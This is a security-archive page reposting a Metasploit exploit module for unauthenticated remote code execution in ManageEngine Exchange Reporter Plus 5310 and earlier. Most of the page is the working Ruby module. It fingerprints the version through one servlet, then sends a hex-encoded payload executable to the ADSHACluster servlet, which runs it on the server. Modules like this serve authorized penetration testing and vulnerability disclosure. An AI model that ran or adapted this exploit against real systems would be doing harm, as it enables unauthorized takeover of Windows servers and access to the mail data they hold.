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Manage Engine Exchange Reporter Plus Unauthenticated Remote Code Execution

Manage Engine Exchange Reporter Plus Unauthenticated Remote Code Execution
Posted Jul 12, 2018
Authored by Kacper Szurek | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus versions 5310 and below, caused by execution of bcp.exe file inside ADSHACluster servlet

tags | exploit, remote, code execution
MD5 | 3ca94423ba041521d4a892af9b713df5

Manage Engine Exchange Reporter Plus Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in Exchange Reporter Plus <= 5310, caused by execution of
bcp.exe file inside ADSHACluster servlet
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek <kacperszurek@gmail.com>'
],
'References' =>
[
['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
],
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 28 2018',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
Opt::RPORT(8181),
])

end

def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
end

def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
})

unless res
vprint_error 'Connection failed'
return CheckCode::Safe
end

unless res.code == 200
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end

begin
json = res.get_json_document
raise if json.empty? || !json['BUILD_NUMBER']
rescue
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end

vprint_status "Version: #{json['BUILD_NUMBER']}"

if json['BUILD_NUMBER'].to_i <= 5310
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
'vars_post' => {
'MTCALL' => "nativeClient",
'BCP_RLL' => "0102",
'BCP_EXE' => bin_to_hex(generate_payload_exe)
}
})
end
end

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